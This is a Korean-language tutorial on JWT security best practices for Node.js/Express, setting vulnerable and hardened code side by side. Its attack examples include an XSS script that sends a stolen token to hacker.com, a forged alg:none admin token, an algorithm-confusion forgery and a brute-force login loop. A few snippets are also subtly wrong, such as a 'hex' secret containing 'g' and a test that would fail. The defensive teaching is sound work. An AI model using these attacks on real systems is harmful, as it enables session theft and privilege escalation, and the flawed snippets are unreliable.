JWT 보안 베스트 프랙티스 2025
JWT는 편리하지만 잘못 사용하면 심각한 보안 취약점이 발생할 수 있습니다. 이 가이드에서는 실제 해킹 사례와 함께 안전한 JWT 구현 방법을 상세히 다룹니다.
보안 체크리스트
시작하기 전에 빠르게 점검하세요:
🔴 필수 (하나라도 없으면 즉시 수정)
- [ ] HTTPS 사용
- [ ] 알고리즘 명시 (
alg: none방지) - [ ] 만료 시간 설정 (exp)
- [ ] 비밀키 환경 변수 관리
- [ ] 민감한 정보 제외 (비밀번호, 카드번호 등)
🟡 권장 (보안 강화)
- [ ] Refresh Token 패턴 사용
- [ ] HttpOnly 쿠키에 저장
- [ ] Rate Limiting 적용
- [ ] 토큰 Blacklist 구현
- [ ] 강력한 서명 알고리즘 (RS256)
🟢 선택 (추가 보안)
- [ ] IP 주소 검증
- [ ] User-Agent 검증
- [ ] 토큰 회전 (Rotation)
- [ ] 이상 탐지 시스템
- [ ] 감사 로그 (Audit Log)
취약점 1: None 알고리즘 공격
문제 상황
// 공격자가 수정한 JWT
{
"alg": "none", // 알고리즘을 none으로 변경
"typ": "JWT"
}
{
"userId": 1,
"role": "admin" // 권한 상승
}
서명 없이도 토큰이 유효하다고 판단할 수 있음!
취약한 코드
// ❌ 나쁜 예: 알고리즘 검증 없음
jwt.verify(token, secret); // alg: none도 통과!
안전한 코드
// ✅ 좋은 예: 알고리즘 명시
jwt.verify(token, secret, {
algorithms: ['HS256', 'RS256'] // none 제외
});
// ✅ 더 좋은 예: 특정 알고리즘만 허용
jwt.verify(token, secret, {
algorithms: ['HS256']
});
미들웨어로 구현
function verifyToken(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Token required' });
}
try {
// 알고리즘 명시적 검증
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
issuer: 'my-app',
audience: 'my-frontend'
});
// 추가 검증: alg 필드 직접 확인
const header = JSON.parse(
Buffer.from(token.split('.')[0], 'base64').toString()
);
if (!header.alg || header.alg === 'none') {
throw new Error('Invalid algorithm');
}
req.user = decoded;
next();
} catch (error) {
res.status(403).json({ error: 'Invalid token' });
}
}
취약점 2: 약한 비밀키
문제 상황
// ❌ 매우 위험
const secret = 'secret';
const secret = '123456';
const secret = 'myapp';
// Brute Force 공격으로 몇 초 만에 해독 가능
안전한 비밀키 생성
# 강력한 랜덤 키 생성 (256 bits)
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
# 출력: a3d8f7e9c2b1a6d4e8f9c3b7a2d6e9f1c4b8a3d7e2f9c6b1a4d8e3f7c2b9a6d1
# 또는
openssl rand -hex 32
환경 변수로 관리
// .env 파일
JWT_SECRET=a3d8f7e9c2b1a6d4e8f9c3b7a2d6e9f1c4b8a3d7e2f9c6b1a4d8e3f7c2b9a6d1
JWT_REFRESH_SECRET=b4e9g8f0d3c2b7a5e9f0d4c8b3a7e0f2d5c9b4a8e3f0d7c2b5a9e4f8d3c0b7a2
// 코드에서 사용
const jwt = require('jsonwebtoken');
const token = jwt.sign(payload, process.env.JWT_SECRET, {
expiresIn: '15m'
});
비밀키 보안 규칙
| 길이 | 보안 수준 | 비고 |
| < 16 chars | 🔴 매우 위험 | 절대 사용 금지 |
| 16-32 chars | 🟡 취약 | 최소 요구사항 |
| 32-64 chars | 🟢 안전 | 권장 |
| > 64 chars | 🟢 매우 안전 | 이상적 |
취약점 3: 민감한 정보 노출
문제 상황
// ❌ 절대 하면 안 됨!
const token = jwt.sign({
userId: 1,
email: 'user@example.com',
password: 'mypassword123', // 🔴 비밀번호
creditCard: '1234-5678-9012-3456', // 🔴 카드번호
ssn: '123-45-6789' // 🔴 주민등록번호
}, secret);
JWT는 Base64로만 인코딩되어 있어 누구나 디코딩 가능!
# 누구나 토큰 내용을 볼 수 있음
echo "eyJhbGc..." | base64 -d
안전한 클레임 설계
// ✅ 좋은 예: 필수 정보만
const token = jwt.sign({
userId: user.id, // 식별자만
role: user.role, // 권한 정보
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
}, secret);
// 추가 정보는 별도 API로 조회
app.get('/api/user/profile', authenticate, async (req, res) => {
const user = await User.findById(req.user.userId);
res.json({
email: user.email,
name: user.name,
phone: user.phone
});
});
클레임 선택 가이드
| 클레임 | 포함 여부 | 이유 |
| userId | ✅ 포함 | 필수 식별자 |
| ⚠️ 주의 | 이메일 변경 시 토큰 무효화 필요 | |
| role | ✅ 포함 | 권한 검증에 필요 |
| name | ❌ 제외 | 변경 가능, 필요시 API 조회 |
| password | ❌ 절대 금지 | 보안 위험 |
| creditCard | ❌ 절대 금지 | 법적 문제 |
취약점 4: XSS (Cross-Site Scripting)
문제 상황
// ❌ localStorage에 저장
localStorage.setItem('token', token);
// 악의적인 스크립트가 토큰 탈취
<script>
const stolenToken = localStorage.getItem('token');
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
</script>
해결책 1: HttpOnly 쿠키
// ✅ 서버: HttpOnly 쿠키로 전송
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
const token = jwt.sign({ userId: user.id }, secret, {
expiresIn: '1h'
});
// HttpOnly 쿠키 설정
res.cookie('token', token, {
httpOnly: true, // JavaScript 접근 불가
secure: true, // HTTPS only
sameSite: 'strict', // CSRF 방지
maxAge: 3600000 // 1시간
});
res.json({ success: true });
});
// 클라이언트: 자동으로 쿠키 전송 (코드 불필요)
fetch('https://api.example.com/data', {
credentials: 'include' // 쿠키 포함
});
해결책 2: Content Security Policy (CSP)
// Helmet.js로 CSP 설정
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted-cdn.com"],
objectSrc: ["'none'"],
upgradeInsecureRequests: []
}
}));
XSS 방지 체크리스트
- [ ] HttpOnly 쿠키 사용
- [ ] Content Security Policy 설정
- [ ] 사용자 입력 검증 및 이스케이프
- [ ] DOMPurify 같은 라이브러리 사용
- [ ] innerHTML 사용 자제
취약점 5: 토큰 탈취 후 무제한 사용
문제 상황
// 토큰 만료 시간이 너무 김
const token = jwt.sign(payload, secret, {
expiresIn: '30d' // ❌ 30일!
});
// 토큰 탈취 → 30일 동안 악용 가능
해결책: Refresh Token 패턴
// Access Token: 짧은 만료 시간 (15분)
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
// Refresh Token: 긴 만료 시간 (7일), DB에 저장
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
// DB에 Refresh Token 저장
await RefreshToken.create({
userId: user.id,
token: refreshToken,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
});
res.json({ accessToken, refreshToken });
Refresh Token으로 재발급
app.post('/token/refresh', async (req, res) => {
const { refreshToken } = req.body;
// 1. Refresh Token 검증
let decoded;
try {
decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
} catch (error) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// 2. DB에서 Refresh Token 확인
const storedToken = await RefreshToken.findOne({
userId: decoded.userId,
token: refreshToken
});
if (!storedToken) {
return res.status(401).json({ error: 'Refresh token not found' });
}
// 3. 만료 확인
if (storedToken.expiresAt < new Date()) {
await RefreshToken.deleteOne({ _id: storedToken._id });
return res.status(401).json({ error: 'Refresh token expired' });
}
// 4. 새 Access Token 발급
const newAccessToken = jwt.sign(
{ userId: decoded.userId, role: decoded.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken: newAccessToken });
});
로그아웃: Refresh Token 삭제
app.post('/logout', authenticate, async (req, res) => {
const { refreshToken } = req.body;
// Refresh Token 삭제
await RefreshToken.deleteOne({
userId: req.user.userId,
token: refreshToken
});
res.json({ success: true });
});
토큰 회전 (Token Rotation)
// 보안 강화: Refresh Token 사용 시마다 새로 발급
app.post('/token/refresh', async (req, res) => {
const { refreshToken } = req.body;
// 기존 검증 로직...
// 기존 Refresh Token 삭제
await RefreshToken.deleteOne({ token: refreshToken });
// 새 Access Token + 새 Refresh Token 발급
const newAccessToken = jwt.sign(
{ userId: decoded.userId },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
const newRefreshToken = jwt.sign(
{ userId: decoded.userId, type: 'refresh' },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
// 새 Refresh Token 저장
await RefreshToken.create({
userId: decoded.userId,
token: newRefreshToken,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
});
res.json({
accessToken: newAccessToken,
refreshToken: newRefreshToken
});
});
취약점 6: 알고리즘 혼동 공격
문제 상황
// 서버: RS256 (비대칭키) 사용
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
// 공격자: HS256으로 위조 시도
const fakeToken = jwt.sign(payload, publicKey, { algorithm: 'HS256' });
// publicKey를 비밀키로 사용!
// 취약한 검증 코드
jwt.verify(fakeToken, publicKey); // ❌ 통과될 수 있음!
안전한 코드
// ✅ 알고리즘 명시
jwt.verify(token, publicKey, {
algorithms: ['RS256'] // HS256 거부
});
취약점 7: Replay Attack
문제 상황
// 공격자가 탈취한 유효한 토큰을 반복 사용
POST /transfer
Authorization: Bearer eyJhbGc... // 탈취한 토큰
// 같은 토큰으로 계속 요청 가능
해결책 1: Nonce (한 번만 사용)
// 토큰에 고유 ID 추가
const token = jwt.sign({
userId: 1,
jti: uuidv4(), // 고유 식별자
iat: Date.now()
}, secret);
// 사용된 jti 저장 (Redis)
const usedTokens = new Set();
function verifyToken(req, res, next) {
const token = req.headers.authorization.split(' ')[1];
const decoded = jwt.verify(token, secret);
// jti 중복 확인
if (usedTokens.has(decoded.jti)) {
return res.status(401).json({ error: 'Token already used' });
}
usedTokens.add(decoded.jti);
// 만료 시간 후 삭제
setTimeout(() => {
usedTokens.delete(decoded.jti);
}, decoded.exp * 1000 - Date.now());
req.user = decoded;
next();
}
해결책 2: 중요 작업에 추가 인증
// 송금 같은 중요 작업
app.post('/transfer', authenticate, async (req, res) => {
const { to, amount, password } = req.body;
// 비밀번호 재확인
const user = await User.findById(req.user.userId);
if (!await bcrypt.compare(password, user.password)) {
return res.status(401).json({ error: 'Password required' });
}
// 송금 처리...
});
취약점 8: Rate Limiting 부재
문제 상황
// 무차별 대입 공격 (Brute Force)
for (let i = 0; i < 1000000; i++) {
POST /login { email: 'admin@example.com', password: `password${i}` }
}
해결책: Rate Limiting
const rateLimit = require('express-rate-limit');
// 로그인 Rate Limit
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15분
max: 5, // 최대 5번
message: 'Too many login attempts, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
app.post('/login', loginLimiter, async (req, res) => {
// 로그인 로직
});
// API Rate Limit
const apiLimiter = rateLimit({
windowMs: 1 * 60 * 1000, // 1분
max: 100, // 최대 100번
message: 'Too many requests'
});
app.use('/api/', apiLimiter);
IP 기반 Blacklist
const blacklist = new Set();
app.use((req, res, next) => {
const ip = req.ip;
if (blacklist.has(ip)) {
return res.status(403).json({ error: 'IP blocked' });
}
next();
});
// 의심스러운 활동 감지 시 차단
function blockIP(ip) {
blacklist.add(ip);
// 1시간 후 해제
setTimeout(() => {
blacklist.delete(ip);
}, 60 * 60 * 1000);
}
실전 보안 구현
완전한 인증 시스템
const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const { body, validationResult } = require('express-validator');
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');
const app = express();
// 보안 헤더
app.use(helmet());
// Rate Limiting
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
message: 'Too many login attempts'
});
// 로그인
app.post('/login',
loginLimiter,
[
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 8 })
],
async (req, res) => {
// 입력 검증
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
const { email, password } = req.body;
// 사용자 조회
const user = await User.findOne({ email });
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// 비밀번호 검증
const valid = await bcrypt.compare(password, user.password);
if (!valid) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Access Token 생성
const accessToken = jwt.sign(
{
userId: user.id,
role: user.role,
jti: require('crypto').randomBytes(16).toString('hex')
},
process.env.JWT_SECRET,
{
expiresIn: '15m',
issuer: 'my-app',
audience: 'my-frontend'
}
);
// Refresh Token 생성
const refreshToken = jwt.sign(
{
userId: user.id,
type: 'refresh'
},
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
// Refresh Token 저장
await RefreshToken.create({
userId: user.id,
token: refreshToken,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdIP: req.ip,
userAgent: req.headers['user-agent']
});
// HttpOnly 쿠키로 전송
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000
});
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});
res.json({ success: true });
}
);
// 인증 미들웨어
function authenticate(req, res, next) {
const token = req.cookies.accessToken;
if (!token) {
return res.status(401).json({ error: 'Token required' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
issuer: 'my-app',
audience: 'my-frontend'
});
// Header 검증
const header = JSON.parse(
Buffer.from(token.split('.')[0], 'base64').toString()
);
if (!header.alg || header.alg === 'none') {
throw new Error('Invalid algorithm');
}
req.user = decoded;
next();
} catch (error) {
if (error.name === 'TokenExpiredError') {
return res.status(401).json({
error: 'Token expired',
code: 'TOKEN_EXPIRED'
});
}
res.status(403).json({ error: 'Invalid token' });
}
}
// 보호된 라우트
app.get('/api/profile', authenticate, async (req, res) => {
const user = await User.findById(req.user.userId);
res.json({ user });
});
// 로그아웃
app.post('/logout', authenticate, async (req, res) => {
const refreshToken = req.cookies.refreshToken;
// Refresh Token 삭제
await RefreshToken.deleteOne({
userId: req.user.userId,
token: refreshToken
});
// 쿠키 삭제
res.clearCookie('accessToken');
res.clearCookie('refreshToken');
res.json({ success: true });
});
모니터링 및 감사
의심스러운 활동 감지
const AuditLog = require('./models/AuditLog');
// 감사 로그 미들웨어
app.use(async (req, res, next) => {
const startTime = Date.now();
// 응답 후 로깅
res.on('finish', async () => {
try {
await AuditLog.create({
userId: req.user?.userId,
ip: req.ip,
userAgent: req.headers['user-agent'],
method: req.method,
path: req.path,
statusCode: res.statusCode,
duration: Date.now() - startTime,
timestamp: new Date()
});
// 의심스러운 활동 감지
if (res.statusCode === 401 || res.statusCode === 403) {
await detectSuspiciousActivity(req.ip);
}
} catch (error) {
console.error('Audit log error:', error);
}
});
next();
});
// 의심스러운 활동 감지
async function detectSuspiciousActivity(ip) {
const recentLogs = await AuditLog.find({
ip,
statusCode: { $in: [401, 403] },
timestamp: { $gte: new Date(Date.now() - 5 * 60 * 1000) }
});
// 5분 내 실패 10회 이상
if (recentLogs.length >= 10) {
console.warn(`Suspicious activity from IP: ${ip}`);
// 이메일 알림, Slack 알림 등
await notifyAdmin({
type: 'SUSPICIOUS_ACTIVITY',
ip,
failedAttempts: recentLogs.length
});
// IP 차단 (선택적)
// await blockIP(ip);
}
}
보안 테스트
JWT 보안 테스트 도구
우리 사이트의 JWT Debugger를 사용하여:
자동화된 보안 테스트
// Jest로 보안 테스트
describe('JWT Security', () => {
test('should reject none algorithm', () => {
const token = jwt.sign({ userId: 1 }, secret, { algorithm: 'none' });
expect(() => {
jwt.verify(token, secret, { algorithms: ['HS256'] });
}).toThrow();
});
test('should reject expired token', () => {
const token = jwt.sign({ userId: 1 }, secret, { expiresIn: '0s' });
expect(() => {
jwt.verify(token, secret);
}).toThrow('jwt expired');
});
test('should reject token without expiration', () => {
const token = jwt.sign({ userId: 1 }, secret);
const decoded = jwt.decode(token);
expect(decoded.exp).toBeDefined();
});
});
최종 보안 체크리스트
🔴 치명적 (즉시 수정 필요)
- [ ] HTTPS 사용
- [ ]
alg: none방지 - [ ] 환경 변수로 비밀키 관리
- [ ] 만료 시간 설정
- [ ] 민감한 정보 제외
🟡 중요 (가능한 빨리)
- [ ] Refresh Token 패턴
- [ ] HttpOnly 쿠키
- [ ] Rate Limiting
- [ ] 강력한 비밀키 (32+ chars)
- [ ] 알고리즘 명시적 검증
🟢 권장 (보안 강화)
- [ ] 토큰 회전 (Rotation)
- [ ] 의심스러운 활동 감지
- [ ] 감사 로그
- [ ] IP/User-Agent 검증
- [ ] 중요 작업 추가 인증
결론
JWT는 올바르게 사용하면 안전하고 확장 가능한 인증 시스템을 구축할 수 있습니다. 하지만 보안을 소홀히 하면 심각한 취약점이 발생할 수 있습니다.
핵심 요약:
- ✅ HTTPS + 짧은 만료 시간 + 강력한 비밀키
- ✅ Refresh Token 패턴으로 보안 강화
- ✅ HttpOnly 쿠키로 XSS 방지
- ✅ Rate Limiting으로 무차별 공격 방지
- ✅ 지속적인 모니터링 및 감사
관련 도구:
더 알아보기: